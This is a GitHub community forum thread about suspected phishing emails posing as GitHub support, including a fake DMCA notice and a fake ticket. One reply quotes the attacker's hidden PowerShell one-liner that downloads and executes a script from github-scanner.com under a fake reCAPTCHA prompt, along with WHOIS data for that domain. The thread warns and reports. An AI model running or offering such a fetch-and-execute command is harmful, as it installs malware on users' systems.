Is [email protected] valide adresse for github support or phishing?

[thesaturdayafternoon]

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I received a DMCA takedown notice from [email protected] for a repository that I forked from someone else which contains programming interviews questions. I wonder if the sender of email is really github support or is it a phishing or a spam? In fact the domain githubsupport.com does not exist. Also, the email contains many links to click on. In the email it is written that I should reply to it in 1 business day otherwise the repository will be disabled. However, I already deleted the repository myself since it was not important to me. I wonder if the email is genuine, and will it cause a problem to my github account if I do not reply to it given that I already deleted the repository myself?

[ebndev]

Hi @thesaturdayafternoon,

Official emails from GitHub will only come from [email protected].

If you would like to report this as phishing, the best route to get this to the proper GitHub team is to use our abuse reporting tools. Here's all the info:

• Reporting abuse or spam
• Reporting a user
• Reporting an issue or pull request
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[hatonthecat]

I reported an issue but my Gmail reported the "Github support ticket" response as suspicious:

This is what Github"Support" wanted to run on my powershell (root access, basically):

"powershell.exe -w hidden -Command "iex (iwr 'https:// github-scanner. com/download.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752""

This is the link that is suspicious:
https:// github-scanner. com/

I was going to reply to the support ticket, but realized the domain did not appear to be Github. Thus I am posting my response here:

"Hi GitHub, 
Thank you for your reply. After some research, I discovered that Ghost is a legitimate Github account. However, I was unsure the post that was made by it was legitimate because github-scanner did not appear like a github-based domain. If it used a subdomain such as "scanner.github.com" or github.com/scanner, I would have trusted it more, and maybe even clicked on the link.
I also speculated it was possible that Github's own Ghost account was hijacked and posted that link, but then I would be questioning the security of GIthub's 2FA/MFA access, which I am not qualified to do.
Thanks for the information.
Best,"

https://www.godaddy.com/whois/results.aspx?itc=dlp_domain_whois&domain=https%3A%2F%2Fgithub-scanner.com%2F

"Domain Name: GITHUB-SCANNER.COM
Registry Domain ID: 2917879423_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.webnic.cc
Registrar URL: http://https://www.webnic.cc
Updated Date: 2024-09-18T12:34:24Z
Creation Date: 2024-09-18T12:34:24Z
Registry Expiry Date: 2025-09-18T12:34:24Z
Registrar: Web Commerce Communications Limited dba WebNic.cc
Registrar IANA ID: 460
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +60.189836788
Domain Status: ok https://icann.org/epp#ok
Name Server: CODY.NS.CLOUDFLARE.COM
Name Server: MARGOT.NS.CLOUDFLARE.COM
DNSSEC: unsigned
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[hatonthecat]

Update: It appears Bleeping computer has identified the trend: https://www.bleepingcomputer.com/news/security/clever-github-scanner-campaign-abusing-repos-to-push-malware/